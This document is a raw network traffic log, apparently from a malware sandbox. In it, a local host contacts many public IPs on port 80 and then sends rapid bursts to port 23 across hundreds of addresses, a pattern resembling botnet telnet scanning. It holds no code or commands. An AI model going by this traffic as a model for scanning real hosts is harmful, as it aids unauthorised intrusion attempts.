Dec 3, 2024 23:01:46.152499914 CET	60046	80	192.168.2.23	123.153.73.190
Dec 3, 2024 23:01:46.152522087 CET	60046	80	192.168.2.23	191.203.179.206
Dec 3, 2024 23:01:46.152525902 CET	60046	80	192.168.2.23	49.47.246.187
Dec 3, 2024 23:01:46.153203011 CET	80	60046	212.170.215.207	192.168.2.23
Dec 3, 2024 23:01:46.153213978 CET	80	60046	37.134.202.69	192.168.2.23
Dec 3, 2024 23:01:46.153229952 CET	80	60046	61.221.40.193	192.168.2.23
Dec 3, 2024 23:01:46.153238058 CET	80	60046	17.151.161.227	192.168.2.23
Dec 3, 2024 23:01:46.153244019 CET	60046	80	192.168.2.23	212.170.215.207
Dec 3, 2024 23:01:46.153249025 CET	60046	80	192.168.2.23	37.134.202.69
Dec 3, 2024 23:01:46.153260946 CET	60046	80	192.168.2.23	61.221.40.193
Dec 3, 2024 23:01:46.153268099 CET	60046	80	192.168.2.23	17.151.161.227
Dec 3, 2024 23:01:46.153274059 CET	80	60046	76.163.151.203	192.168.2.23
Dec 3, 2024 23:01:46.153281927 CET	80	60046	86.70.76.234	192.168.2.23
Dec 3, 2024 23:01:46.153290987 CET	80	60046	191.166.169.68	192.168.2.23
Dec 3, 2024 23:01:46.153301954 CET	80	60046	190.155.146.244	192.168.2.23
Dec 3, 2024 23:01:46.153314114 CET	60046	80	192.168.2.23	76.163.151.203
Dec 3, 2024 23:01:46.153317928 CET	60046	80	192.168.2.23	86.70.76.234
Dec 3, 2024 23:01:46.153320074 CET	60046	80	192.168.2.23	191.166.169.68
Dec 3, 2024 23:01:46.153337002 CET	60046	80	192.168.2.23	190.155.146.244
Dec 3, 2024 23:01:46.153369904 CET	80	60046	171.82.131.88	192.168.2.23
Dec 3, 2024 23:01:46.153378963 CET	80	60046	199.98.80.129	192.168.2.23
Dec 3, 2024 23:01:46.153405905 CET	60046	80	192.168.2.23	171.82.131.88
Dec 3, 2024 23:01:46.153414965 CET	60046	80	192.168.2.23	199.98.80.129
Dec 3, 2024 23:01:46.153506041 CET	80	60046	216.175.84.216	192.168.2.23
Dec 3, 2024 23:01:46.153516054 CET	80	60046	37.85.127.66	192.168.2.23
Dec 3, 2024 23:01:46.153523922 CET	80	60046	60.61.175.78	192.168.2.23
Dec 3, 2024 23:01:46.153532028 CET	80	60046	203.248.16.6	192.168.2.23
Dec 3, 2024 23:01:46.153541088 CET	80	60046	183.55.26.168	192.168.2.23
Dec 3, 2024 23:01:46.153543949 CET	60046	80	192.168.2.23	216.175.84.216
Dec 3, 2024 23:01:46.153546095 CET	60046	80	192.168.2.23	37.85.127.66
Dec 3, 2024 23:01:46.153549910 CET	80	60046	193.90.62.19	192.168.2.23
Dec 3, 2024 23:01:46.153553963 CET	80	60046	27.7.23.144	192.168.2.23
Dec 3, 2024 23:01:46.153561115 CET	80	60046	81.3.15.139	192.168.2.23
Dec 3, 2024 23:01:46.153564930 CET	80	60046	189.155.225.32	192.168.2.23
Dec 3, 2024 23:01:46.153565884 CET	60046	80	192.168.2.23	60.61.175.78
Dec 3, 2024 23:01:46.153568029 CET	60046	80	192.168.2.23	203.248.16.6
Dec 3, 2024 23:01:46.153573036 CET	80	60046	167.162.173.26	192.168.2.23
Dec 3, 2024 23:01:46.153582096 CET	80	60046	49.240.108.39	192.168.2.23
Dec 3, 2024 23:01:46.153585911 CET	60046	80	192.168.2.23	183.55.26.168
Dec 3, 2024 23:01:46.153585911 CET	60046	80	192.168.2.23	193.90.62.19
Dec 3, 2024 23:01:46.153589964 CET	80	60046	106.252.142.158	192.168.2.23
Dec 3, 2024 23:01:46.153593063 CET	60046	80	192.168.2.23	27.7.23.144
Dec 3, 2024 23:01:46.153594017 CET	60046	80	192.168.2.23	81.3.15.139
Dec 3, 2024 23:01:46.153598070 CET	60046	80	192.168.2.23	189.155.225.32
Dec 3, 2024 23:01:46.153599024 CET	80	60046	95.225.191.250	192.168.2.23
Dec 3, 2024 23:01:46.153601885 CET	60046	80	192.168.2.23	167.162.173.26
Dec 3, 2024 23:01:46.153603077 CET	60046	80	192.168.2.23	49.240.108.39
Dec 3, 2024 23:01:46.153609037 CET	80	60046	170.113.96.101	192.168.2.23
Dec 3, 2024 23:01:46.153616905 CET	80	60046	44.19.191.88	192.168.2.23
Dec 3, 2024 23:01:46.153625011 CET	80	60046	93.158.90.139	192.168.2.23
Dec 3, 2024 23:01:46.153625965 CET	60046	80	192.168.2.23	106.252.142.158
Dec 3, 2024 23:01:46.153625965 CET	60046	80	192.168.2.23	95.225.191.250
Dec 3, 2024 23:01:46.153633118 CET	80	60046	87.150.243.123	192.168.2.23
Dec 3, 2024 23:01:46.153645039 CET	60046	80	192.168.2.23	93.158.90.139
Dec 3, 2024 23:01:46.153646946 CET	60046	80	192.168.2.23	170.113.96.101
Dec 3, 2024 23:01:46.153645992 CET	60046	80	192.168.2.23	44.19.191.88
Dec 3, 2024 23:01:46.153650999 CET	80	60046	132.76.16.141	192.168.2.23
Dec 3, 2024 23:01:46.153667927 CET	60046	80	192.168.2.23	87.150.243.123
Dec 3, 2024 23:01:46.153683901 CET	60046	80	192.168.2.23	132.76.16.141
Dec 3, 2024 23:01:46.153981924 CET	80	60046	209.153.156.251	192.168.2.23
Dec 3, 2024 23:01:46.153991938 CET	80	60046	171.234.221.242	192.168.2.23
Dec 3, 2024 23:01:46.154025078 CET	60046	80	192.168.2.23	209.153.156.251
Dec 3, 2024 23:01:46.154032946 CET	60046	80	192.168.2.23	171.234.221.242
Dec 3, 2024 23:01:46.154042959 CET	80	60046	162.174.200.38	192.168.2.23
Dec 3, 2024 23:01:46.154052019 CET	80	60046	181.189.65.132	192.168.2.23
Dec 3, 2024 23:01:46.154058933 CET	80	60046	113.96.238.163	192.168.2.23
Dec 3, 2024 23:01:46.154067993 CET	80	60046	89.17.94.241	192.168.2.23
Dec 3, 2024 23:01:46.154076099 CET	80	60046	83.100.207.10	192.168.2.23
Dec 3, 2024 23:01:46.154078960 CET	60046	80	192.168.2.23	162.174.200.38
Dec 3, 2024 23:01:46.154083014 CET	60046	80	192.168.2.23	113.96.238.163
Dec 3, 2024 23:01:46.154084921 CET	60046	80	192.168.2.23	181.189.65.132
Dec 3, 2024 23:01:46.154084921 CET	80	60046	171.37.92.48	192.168.2.23
Dec 3, 2024 23:01:46.154089928 CET	60046	80	192.168.2.23	89.17.94.241
Dec 3, 2024 23:01:46.154113054 CET	60046	80	192.168.2.23	83.100.207.10
Dec 3, 2024 23:01:46.154113054 CET	80	60046	85.220.169.174	192.168.2.23
Dec 3, 2024 23:01:46.154124022 CET	80	60046	43.26.101.127	192.168.2.23
Dec 3, 2024 23:01:46.154128075 CET	60046	80	192.168.2.23	171.37.92.48
Dec 3, 2024 23:01:46.154131889 CET	80	60046	45.60.50.71	192.168.2.23
Dec 3, 2024 23:01:46.154140949 CET	80	60046	97.141.190.20	192.168.2.23
Dec 3, 2024 23:01:46.154158115 CET	80	60046	199.120.245.185	192.168.2.23
Dec 3, 2024 23:01:46.154161930 CET	60046	80	192.168.2.23	85.220.169.174
Dec 3, 2024 23:01:46.154162884 CET	60046	80	192.168.2.23	43.26.101.127
Dec 3, 2024 23:01:46.154162884 CET	60046	80	192.168.2.23	45.60.50.71
Dec 3, 2024 23:01:46.154170036 CET	80	60046	176.166.33.61	192.168.2.23
Dec 3, 2024 23:01:46.154170990 CET	60046	80	192.168.2.23	97.141.190.20
Dec 3, 2024 23:01:46.154180050 CET	80	60046	221.22.162.36	192.168.2.23
Dec 3, 2024 23:01:46.154187918 CET	80	60046	160.13.135.110	192.168.2.23
Dec 3, 2024 23:01:46.154201031 CET	60046	80	192.168.2.23	199.120.245.185
Dec 3, 2024 23:01:46.154201031 CET	60046	80	192.168.2.23	176.166.33.61
Dec 3, 2024 23:01:46.154205084 CET	80	60046	103.52.220.17	192.168.2.23
Dec 3, 2024 23:01:46.154210091 CET	60046	80	192.168.2.23	221.22.162.36
Dec 3, 2024 23:01:46.154212952 CET	80	60046	25.210.203.195	192.168.2.23
Dec 3, 2024 23:01:46.154212952 CET	60046	80	192.168.2.23	160.13.135.110
Dec 3, 2024 23:01:46.154217005 CET	80	60046	83.162.185.158	192.168.2.23
Dec 3, 2024 23:01:46.154248953 CET	60046	80	192.168.2.23	103.52.220.17
Dec 3, 2024 23:01:46.154252052 CET	60046	80	192.168.2.23	83.162.185.158
Dec 3, 2024 23:01:46.154258013 CET	60046	80	192.168.2.23	25.210.203.195
Dec 3, 2024 23:01:46.154308081 CET	80	60046	63.82.193.157	192.168.2.23
Dec 3, 2024 23:01:46.154321909 CET	80	60046	181.187.232.153	192.168.2.23
Dec 3, 2024 23:01:46.154330015 CET	80	60046	182.67.49.139	192.168.2.23
Dec 3, 2024 23:01:46.154339075 CET	80	60046	111.156.68.81	192.168.2.23
Dec 3, 2024 23:01:46.154347897 CET	80	60046	77.149.90.49	192.168.2.23
Dec 3, 2024 23:01:46.154352903 CET	60046	80	192.168.2.23	63.82.193.157
Dec 3, 2024 23:01:46.154354095 CET	60046	80	192.168.2.23	181.187.232.153
Dec 3, 2024 23:01:46.154356956 CET	80	60046	53.35.31.28	192.168.2.23
Dec 3, 2024 23:01:46.154367924 CET	60046	80	192.168.2.23	111.156.68.81
Dec 3, 2024 23:01:46.154378891 CET	60046	80	192.168.2.23	182.67.49.139
Dec 3, 2024 23:01:46.154381990 CET	60046	80	192.168.2.23	77.149.90.49
Dec 3, 2024 23:01:46.154390097 CET	60046	80	192.168.2.23	53.35.31.28
Dec 3, 2024 23:01:46.657239914 CET	62862	23	192.168.2.23	38.56.57.74
Dec 3, 2024 23:01:46.657239914 CET	62862	23	192.168.2.23	113.114.143.117
Dec 3, 2024 23:01:46.657241106 CET	62862	23	192.168.2.23	69.195.186.249
Dec 3, 2024 23:01:46.657241106 CET	62862	23	192.168.2.23	38.0.39.69
Dec 3, 2024 23:01:46.657249928 CET	62862	23	192.168.2.23	181.200.88.219
Dec 3, 2024 23:01:46.657249928 CET	62862	23	192.168.2.23	102.4.81.112
Dec 3, 2024 23:01:46.657252073 CET	62862	23	192.168.2.23	62.2.80.38
Dec 3, 2024 23:01:46.657253027 CET	62862	23	192.168.2.23	45.94.81.43
Dec 3, 2024 23:01:46.657252073 CET	62862	23	192.168.2.23	198.90.27.14
Dec 3, 2024 23:01:46.657260895 CET	62862	23	192.168.2.23	164.191.106.185
Dec 3, 2024 23:01:46.657269001 CET	62862	23	192.168.2.23	89.86.34.123
Dec 3, 2024 23:01:46.657269955 CET	62862	23	192.168.2.23	27.10.185.48
Dec 3, 2024 23:01:46.657269955 CET	62862	23	192.168.2.23	146.211.79.209
Dec 3, 2024 23:01:46.657279015 CET	62862	23	192.168.2.23	82.215.1.222
Dec 3, 2024 23:01:46.657284021 CET	62862	23	192.168.2.23	108.76.216.200
Dec 3, 2024 23:01:46.657290936 CET	62862	23	192.168.2.23	178.162.65.105
Dec 3, 2024 23:01:46.657294989 CET	62862	23	192.168.2.23	170.77.175.131
Dec 3, 2024 23:01:46.657300949 CET	62862	23	192.168.2.23	132.46.119.24
Dec 3, 2024 23:01:46.657306910 CET	62862	23	192.168.2.23	198.161.85.248
Dec 3, 2024 23:01:46.657308102 CET	62862	23	192.168.2.23	106.71.193.31
Dec 3, 2024 23:01:46.657308102 CET	62862	23	192.168.2.23	160.122.73.54
Dec 3, 2024 23:01:46.657310009 CET	62862	23	192.168.2.23	75.246.140.18
Dec 3, 2024 23:01:46.657324076 CET	62862	23	192.168.2.23	88.60.122.206
Dec 3, 2024 23:01:46.657325983 CET	62862	23	192.168.2.23	198.217.124.21
Dec 3, 2024 23:01:46.657329082 CET	62862	23	192.168.2.23	18.97.6.188
Dec 3, 2024 23:01:46.657330036 CET	62862	23	192.168.2.23	151.62.148.164
Dec 3, 2024 23:01:46.657334089 CET	62862	23	192.168.2.23	93.196.90.69
Dec 3, 2024 23:01:46.657334089 CET	62862	23	192.168.2.23	95.92.64.75
Dec 3, 2024 23:01:46.657336950 CET	62862	23	192.168.2.23	209.37.156.111
Dec 3, 2024 23:01:46.657336950 CET	62862	23	192.168.2.23	133.207.7.2
Dec 3, 2024 23:01:46.657340050 CET	62862	23	192.168.2.23	152.32.94.203
Dec 3, 2024 23:01:46.657351017 CET	62862	23	192.168.2.23	222.20.154.169
Dec 3, 2024 23:01:46.657351971 CET	62862	23	192.168.2.23	83.208.235.108
Dec 3, 2024 23:01:46.657351971 CET	62862	23	192.168.2.23	82.125.109.125
Dec 3, 2024 23:01:46.657351971 CET	62862	23	192.168.2.23	179.97.183.66
Dec 3, 2024 23:01:46.657351971 CET	62862	23	192.168.2.23	150.42.82.66
Dec 3, 2024 23:01:46.657365084 CET	62862	23	192.168.2.23	122.213.151.52
Dec 3, 2024 23:01:46.657366037 CET	62862	23	192.168.2.23	191.14.125.215
Dec 3, 2024 23:01:46.657370090 CET	62862	23	192.168.2.23	88.98.208.168
Dec 3, 2024 23:01:46.657380104 CET	62862	23	192.168.2.23	14.152.201.196
Dec 3, 2024 23:01:46.657380104 CET	62862	23	192.168.2.23	137.96.173.255
Dec 3, 2024 23:01:46.657398939 CET	62862	23	192.168.2.23	71.61.151.125
Dec 3, 2024 23:01:46.657398939 CET	62862	23	192.168.2.23	178.10.105.234
Dec 3, 2024 23:01:46.657399893 CET	62862	23	192.168.2.23	9.204.172.172
Dec 3, 2024 23:01:46.657401085 CET	62862	23	192.168.2.23	94.103.16.219
Dec 3, 2024 23:01:46.657401085 CET	62862	23	192.168.2.23	219.37.200.135
Dec 3, 2024 23:01:46.657403946 CET	62862	23	192.168.2.23	63.236.126.74
Dec 3, 2024 23:01:46.657407045 CET	62862	23	192.168.2.23	102.62.61.191
Dec 3, 2024 23:01:46.657407045 CET	62862	23	192.168.2.23	129.223.215.254
Dec 3, 2024 23:01:46.657407045 CET	62862	23	192.168.2.23	97.198.235.107
Dec 3, 2024 23:01:46.657414913 CET	62862	23	192.168.2.23	96.3.162.124
Dec 3, 2024 23:01:46.657414913 CET	62862	23	192.168.2.23	68.44.108.32
Dec 3, 2024 23:01:46.657418966 CET	62862	23	192.168.2.23	162.100.216.208
Dec 3, 2024 23:01:46.657422066 CET	62862	23	192.168.2.23	180.30.21.191
Dec 3, 2024 23:01:46.657423019 CET	62862	23	192.168.2.23	193.157.38.22
Dec 3, 2024 23:01:46.657427073 CET	62862	23	192.168.2.23	206.89.162.180
Dec 3, 2024 23:01:46.657427073 CET	62862	23	192.168.2.23	186.248.100.184
Dec 3, 2024 23:01:46.657444000 CET	62862	23	192.168.2.23	180.96.185.250
Dec 3, 2024 23:01:46.657444000 CET	62862	23	192.168.2.23	25.26.67.27
Dec 3, 2024 23:01:46.657445908 CET	62862	23	192.168.2.23	38.226.138.236
Dec 3, 2024 23:01:46.657445908 CET	62862	23	192.168.2.23	88.20.168.160
Dec 3, 2024 23:01:46.657453060 CET	62862	23	192.168.2.23	136.160.111.162
Dec 3, 2024 23:01:46.657458067 CET	62862	23	192.168.2.23	192.90.60.20
Dec 3, 2024 23:01:46.657465935 CET	62862	23	192.168.2.23	128.219.9.103
Dec 3, 2024 23:01:46.657469988 CET	62862	23	192.168.2.23	99.15.190.15
Dec 3, 2024 23:01:46.657471895 CET	62862	23	192.168.2.23	133.44.193.89
Dec 3, 2024 23:01:46.657471895 CET	62862	23	192.168.2.23	158.100.96.193
Dec 3, 2024 23:01:46.657480001 CET	62862	23	192.168.2.23	168.200.130.49
Dec 3, 2024 23:01:46.657480001 CET	62862	23	192.168.2.23	162.12.60.94
Dec 3, 2024 23:01:46.657480001 CET	62862	23	192.168.2.23	66.20.195.103
Dec 3, 2024 23:01:46.657483101 CET	62862	23	192.168.2.23	149.175.155.132
Dec 3, 2024 23:01:46.657490969 CET	62862	23	192.168.2.23	79.16.160.144
Dec 3, 2024 23:01:46.657493114 CET	62862	23	192.168.2.23	71.91.213.213
Dec 3, 2024 23:01:46.657493114 CET	62862	23	192.168.2.23	47.184.169.196
Dec 3, 2024 23:01:46.657494068 CET	62862	23	192.168.2.23	94.244.127.120
Dec 3, 2024 23:01:46.657495022 CET	62862	23	192.168.2.23	183.0.60.93
Dec 3, 2024 23:01:46.657494068 CET	62862	23	192.168.2.23	99.171.160.8
Dec 3, 2024 23:01:46.657495022 CET	62862	23	192.168.2.23	97.113.209.41
Dec 3, 2024 23:01:46.657495022 CET	62862	23	192.168.2.23	59.118.232.252
Dec 3, 2024 23:01:46.657505035 CET	62862	23	192.168.2.23	94.19.93.90
Dec 3, 2024 23:01:46.657505035 CET	62862	23	192.168.2.23	83.211.180.23
Dec 3, 2024 23:01:46.657505989 CET	62862	23	192.168.2.23	130.39.125.221
Dec 3, 2024 23:01:46.657509089 CET	62862	23	192.168.2.23	132.131.235.226
Dec 3, 2024 23:01:46.657509089 CET	62862	23	192.168.2.23	19.140.139.176
Dec 3, 2024 23:01:46.657509089 CET	62862	23	192.168.2.23	210.111.111.41
Dec 3, 2024 23:01:46.657509089 CET	62862	23	192.168.2.23	111.238.208.65
Dec 3, 2024 23:01:46.657505035 CET	62862	23	192.168.2.23	4.207.251.76
Dec 3, 2024 23:01:46.657509089 CET	62862	23	192.168.2.23	217.203.132.214
Dec 3, 2024 23:01:46.657510042 CET	62862	23	192.168.2.23	85.239.33.197
Dec 3, 2024 23:01:46.657514095 CET	62862	23	192.168.2.23	207.125.224.189
Dec 3, 2024 23:01:46.657516003 CET	62862	23	192.168.2.23	197.138.255.144
Dec 3, 2024 23:01:46.657530069 CET	62862	23	192.168.2.23	100.184.19.53
Dec 3, 2024 23:01:46.657532930 CET	62862	23	192.168.2.23	168.1.46.112
Dec 3, 2024 23:01:46.657536030 CET	62862	23	192.168.2.23	140.148.56.27
Dec 3, 2024 23:01:46.657536030 CET	62862	23	192.168.2.23	152.97.203.217
Dec 3, 2024 23:01:46.657538891 CET	62862	23	192.168.2.23	81.89.90.196
Dec 3, 2024 23:01:46.657542944 CET	62862	23	192.168.2.23	108.168.238.49
Dec 3, 2024 23:01:46.657555103 CET	62862	23	192.168.2.23	202.136.219.190
Dec 3, 2024 23:01:46.657560110 CET	62862	23	192.168.2.23	38.66.181.23
Dec 3, 2024 23:01:46.657562971 CET	62862	23	192.168.2.23	72.115.179.180
Dec 3, 2024 23:01:46.657566071 CET	62862	23	192.168.2.23	126.100.179.51
Dec 3, 2024 23:01:46.657566071 CET	62862	23	192.168.2.23	53.224.13.12
Dec 3, 2024 23:01:46.657573938 CET	62862	23	192.168.2.23	49.217.23.191
Dec 3, 2024 23:01:46.657582998 CET	62862	23	192.168.2.23	134.135.147.137
Dec 3, 2024 23:01:46.657582998 CET	62862	23	192.168.2.23	212.29.173.24
Dec 3, 2024 23:01:46.657583952 CET	62862	23	192.168.2.23	63.60.125.229
Dec 3, 2024 23:01:46.657603025 CET	62862	23	192.168.2.23	72.191.77.139
Dec 3, 2024 23:01:46.657603979 CET	62862	23	192.168.2.23	85.232.32.100
Dec 3, 2024 23:01:46.657605886 CET	62862	23	192.168.2.23	119.87.72.50
Dec 3, 2024 23:01:46.657609940 CET	62862	23	192.168.2.23	164.132.78.134
Dec 3, 2024 23:01:46.657610893 CET	62862	23	192.168.2.23	52.79.100.225
Dec 3, 2024 23:01:46.657610893 CET	62862	23	192.168.2.23	64.81.207.45
Dec 3, 2024 23:01:46.657610893 CET	62862	23	192.168.2.23	43.171.158.247
Dec 3, 2024 23:01:46.657619953 CET	62862	23	192.168.2.23	148.91.137.107
Dec 3, 2024 23:01:46.657628059 CET	62862	23	192.168.2.23	148.95.65.12
Dec 3, 2024 23:01:46.657633066 CET	62862	23	192.168.2.23	186.80.54.98
Dec 3, 2024 23:01:46.657635927 CET	62862	23	192.168.2.23	69.219.242.62
Dec 3, 2024 23:01:46.657639027 CET	62862	23	192.168.2.23	61.231.70.60
Dec 3, 2024 23:01:46.657648087 CET	62862	23	192.168.2.23	96.49.127.244
Dec 3, 2024 23:01:46.657648087 CET	62862	23	192.168.2.23	27.249.97.86
Dec 3, 2024 23:01:46.657660007 CET	62862	23	192.168.2.23	221.21.35.254
Dec 3, 2024 23:01:46.657666922 CET	62862	23	192.168.2.23	136.88.35.86
Dec 3, 2024 23:01:46.657680035 CET	62862	23	192.168.2.23	208.223.105.103
Dec 3, 2024 23:01:46.657680035 CET	62862	23	192.168.2.23	152.247.192.149
Dec 3, 2024 23:01:46.657684088 CET	62862	23	192.168.2.23	62.4.165.176
Dec 3, 2024 23:01:46.657684088 CET	62862	23	192.168.2.23	114.50.243.6
Dec 3, 2024 23:01:46.657690048 CET	62862	23	192.168.2.23	223.0.81.69
Dec 3, 2024 23:01:46.657696962 CET	62862	23	192.168.2.23	223.227.211.222
Dec 3, 2024 23:01:46.657706976 CET	62862	23	192.168.2.23	111.222.81.247
Dec 3, 2024 23:01:46.657712936 CET	62862	23	192.168.2.23	204.135.130.247
Dec 3, 2024 23:01:46.657720089 CET	62862	23	192.168.2.23	132.18.218.255
Dec 3, 2024 23:01:46.657721996 CET	62862	23	192.168.2.23	159.70.56.8
Dec 3, 2024 23:01:46.657722950 CET	62862	23	192.168.2.23	160.198.239.18
Dec 3, 2024 23:01:46.657727003 CET	62862	23	192.168.2.23	64.134.252.52
Dec 3, 2024 23:01:46.657731056 CET	62862	23	192.168.2.23	27.244.199.26
Dec 3, 2024 23:01:46.657735109 CET	62862	23	192.168.2.23	70.5.165.172
Dec 3, 2024 23:01:46.657737970 CET	62862	23	192.168.2.23	92.185.106.133
Dec 3, 2024 23:01:46.657737970 CET	62862	23	192.168.2.23	32.63.207.178
Dec 3, 2024 23:01:46.657752037 CET	62862	23	192.168.2.23	1.46.224.144
Dec 3, 2024 23:01:46.657752991 CET	62862	23	192.168.2.23	23.38.215.73
Dec 3, 2024 23:01:46.657759905 CET	62862	23	192.168.2.23	143.187.207.161
Dec 3, 2024 23:01:46.657761097 CET	62862	23	192.168.2.23	111.107.108.61
Dec 3, 2024 23:01:46.657764912 CET	62862	23	192.168.2.23	156.143.120.30
Dec 3, 2024 23:01:46.657769918 CET	62862	23	192.168.2.23	95.255.146.234
Dec 3, 2024 23:01:46.657778978 CET	62862	23	192.168.2.23	129.247.65.195
Dec 3, 2024 23:01:46.657778978 CET	62862	23	192.168.2.23	23.46.168.212
Dec 3, 2024 23:01:46.657779932 CET	62862	23	192.168.2.23	73.74.88.118
Dec 3, 2024 23:01:46.657787085 CET	62862	23	192.168.2.23	79.134.72.160
Dec 3, 2024 23:01:46.657787085 CET	62862	23	192.168.2.23	57.129.52.31
Dec 3, 2024 23:01:46.657788992 CET	62862	23	192.168.2.23	191.89.249.255
Dec 3, 2024 23:01:46.657805920 CET	62862	23	192.168.2.23	168.130.142.106
Dec 3, 2024 23:01:46.657805920 CET	62862	23	192.168.2.23	41.220.146.205
Dec 3, 2024 23:01:46.657808065 CET	62862	23	192.168.2.23	201.200.93.244
Dec 3, 2024 23:01:46.657809973 CET	62862	23	192.168.2.23	219.129.112.69
Dec 3, 2024 23:01:46.657820940 CET	62862	23	192.168.2.23	32.18.217.113
Dec 3, 2024 23:01:46.657825947 CET	62862	23	192.168.2.23	202.36.75.103
Dec 3, 2024 23:01:46.657830954 CET	62862	23	192.168.2.23	47.3.117.67
Dec 3, 2024 23:01:46.657835007 CET	62862	23	192.168.2.23	105.245.104.123
Dec 3, 2024 23:01:46.657835007 CET	62862	23	192.168.2.23	125.150.102.61
Dec 3, 2024 23:01:46.657840014 CET	62862	23	192.168.2.23	202.7.197.68
Dec 3, 2024 23:01:46.657871962 CET	62862	23	192.168.2.23	62.247.191.24
Dec 3, 2024 23:01:46.657874107 CET	62862	23	192.168.2.23	174.12.224.173
Dec 3, 2024 23:01:46.657874107 CET	62862	23	192.168.2.23	142.136.28.124
Dec 3, 2024 23:01:46.657874107 CET	62862	23	192.168.2.23	99.35.46.137
Dec 3, 2024 23:01:46.657875061 CET	62862	23	192.168.2.23	201.59.39.174
Dec 3, 2024 23:01:46.657874107 CET	62862	23	192.168.2.23	20.74.235.67
Dec 3, 2024 23:01:46.657876015 CET	62862	23	192.168.2.23	178.171.190.147
Dec 3, 2024 23:01:46.657877922 CET	62862	23	192.168.2.23	142.38.122.249
Dec 3, 2024 23:01:46.657891989 CET	62862	23	192.168.2.23	195.57.97.188
Dec 3, 2024 23:01:46.657891989 CET	62862	23	192.168.2.23	222.89.225.105
Dec 3, 2024 23:01:46.657891989 CET	62862	23	192.168.2.23	109.13.188.134
Dec 3, 2024 23:01:46.657895088 CET	62862	23	192.168.2.23	25.213.107.188
Dec 3, 2024 23:01:46.657896042 CET	62862	23	192.168.2.23	153.4.102.152
Dec 3, 2024 23:01:46.657896042 CET	62862	23	192.168.2.23	199.84.206.194
Dec 3, 2024 23:01:46.657896042 CET	62862	23	192.168.2.23	14.200.36.208
Dec 3, 2024 23:01:46.657896042 CET	62862	23	192.168.2.23	143.45.192.159
Dec 3, 2024 23:01:46.657896042 CET	62862	23	192.168.2.23	40.114.152.177
Dec 3, 2024 23:01:46.657896996 CET	62862	23	192.168.2.23	68.126.94.66
Dec 3, 2024 23:01:46.657896042 CET	62862	23	192.168.2.23	20.207.81.168
Dec 3, 2024 23:01:46.657896996 CET	62862	23	192.168.2.23	170.177.153.8
Dec 3, 2024 23:01:46.657897949 CET	62862	23	192.168.2.23	213.78.222.193
Dec 3, 2024 23:01:46.657897949 CET	62862	23	192.168.2.23	49.123.6.229
Dec 3, 2024 23:01:46.657897949 CET	62862	23	192.168.2.23	53.93.92.71
Dec 3, 2024 23:01:46.657902002 CET	62862	23	192.168.2.23	52.226.230.34
Dec 3, 2024 23:01:46.657902002 CET	62862	23	192.168.2.23	219.115.64.116
Dec 3, 2024 23:01:46.657902002 CET	62862	23	192.168.2.23	128.181.1.85
Dec 3, 2024 23:01:46.657902002 CET	62862	23	192.168.2.23	110.154.149.185
Dec 3, 2024 23:01:46.657902002 CET	62862	23	192.168.2.23	207.165.160.171
Dec 3, 2024 23:01:46.657913923 CET	62862	23	192.168.2.23	24.45.235.67
Dec 3, 2024 23:01:46.657913923 CET	62862	23	192.168.2.23	192.242.70.39
Dec 3, 2024 23:01:46.657913923 CET	62862	23	192.168.2.23	57.207.24.215
Dec 3, 2024 23:01:46.657913923 CET	62862	23	192.168.2.23	160.208.195.245
Dec 3, 2024 23:01:46.657913923 CET	62862	23	192.168.2.23	121.30.67.143
Dec 3, 2024 23:01:46.657916069 CET	62862	23	192.168.2.23	110.112.124.169
Dec 3, 2024 23:01:46.657916069 CET	62862	23	192.168.2.23	170.25.252.35
Dec 3, 2024 23:01:46.657916069 CET	62862	23	192.168.2.23	156.209.70.48
Dec 3, 2024 23:01:46.657917023 CET	62862	23	192.168.2.23	169.122.160.216
Dec 3, 2024 23:01:46.657917023 CET	62862	23	192.168.2.23	144.71.159.4
Dec 3, 2024 23:01:46.657927990 CET	62862	23	192.168.2.23	197.53.92.185
Dec 3, 2024 23:01:46.657927990 CET	62862	23	192.168.2.23	44.4.129.69
Dec 3, 2024 23:01:46.657927990 CET	62862	23	192.168.2.23	109.184.122.96
Dec 3, 2024 23:01:46.657928944 CET	62862	23	192.168.2.23	31.50.156.214
Dec 3, 2024 23:01:46.657929897 CET	62862	23	192.168.2.23	97.247.195.216
Dec 3, 2024 23:01:46.657932043 CET	62862	23	192.168.2.23	157.153.37.122
Dec 3, 2024 23:01:46.657932043 CET	62862	23	192.168.2.23	48.100.135.154
Dec 3, 2024 23:01:46.657932043 CET	62862	23	192.168.2.23	94.171.54.205
Dec 3, 2024 23:01:46.657932043 CET	62862	23	192.168.2.23	68.29.141.215
Dec 3, 2024 23:01:46.657937050 CET	62862	23	192.168.2.23	199.151.215.237
Dec 3, 2024 23:01:46.657937050 CET	62862	23	192.168.2.23	104.87.29.229
Dec 3, 2024 23:01:46.657938957 CET	62862	23	192.168.2.23	99.10.13.52
Dec 3, 2024 23:01:46.657938957 CET	62862	23	192.168.2.23	147.66.77.156
Dec 3, 2024 23:01:46.657941103 CET	62862	23	192.168.2.23	106.106.92.112
Dec 3, 2024 23:01:46.657942057 CET	62862	23	192.168.2.23	143.163.53.97
Dec 3, 2024 23:01:46.657943010 CET	62862	23	192.168.2.23	52.254.184.171
Dec 3, 2024 23:01:46.657942057 CET	62862	23	192.168.2.23	212.148.228.148
Dec 3, 2024 23:01:46.657943010 CET	62862	23	192.168.2.23	100.21.46.169
Dec 3, 2024 23:01:46.657942057 CET	62862	23	192.168.2.23	163.39.66.140
Dec 3, 2024 23:01:46.657943010 CET	62862	23	192.168.2.23	191.216.224.78
Dec 3, 2024 23:01:46.657944918 CET	62862	23	192.168.2.23	174.173.125.157
Dec 3, 2024 23:01:46.657944918 CET	62862	23	192.168.2.23	40.46.56.93
Dec 3, 2024 23:01:46.657952070 CET	62862	23	192.168.2.23	170.25.141.155
Dec 3, 2024 23:01:46.657952070 CET	62862	23	192.168.2.23	13.210.101.253
Dec 3, 2024 23:01:46.657958031 CET	62862	23	192.168.2.23	143.184.132.20
Dec 3, 2024 23:01:46.657958031 CET	62862	23	192.168.2.23	159.24.176.187
Dec 3, 2024 23:01:46.657963037 CET	62862	23	192.168.2.23	35.95.66.90
Dec 3, 2024 23:01:46.657965899 CET	62862	23	192.168.2.23	220.159.6.231
Dec 3, 2024 23:01:46.657975912 CET	62862	23	192.168.2.23	140.58.56.140
Dec 3, 2024 23:01:46.657975912 CET	62862	23	192.168.2.23	206.39.79.203
Dec 3, 2024 23:01:46.657975912 CET	62862	23	192.168.2.23	144.25.205.147
Dec 3, 2024 23:01:46.657977104 CET	62862	23	192.168.2.23	107.236.76.28
Dec 3, 2024 23:01:46.657985926 CET	62862	23	192.168.2.23	223.10.76.131
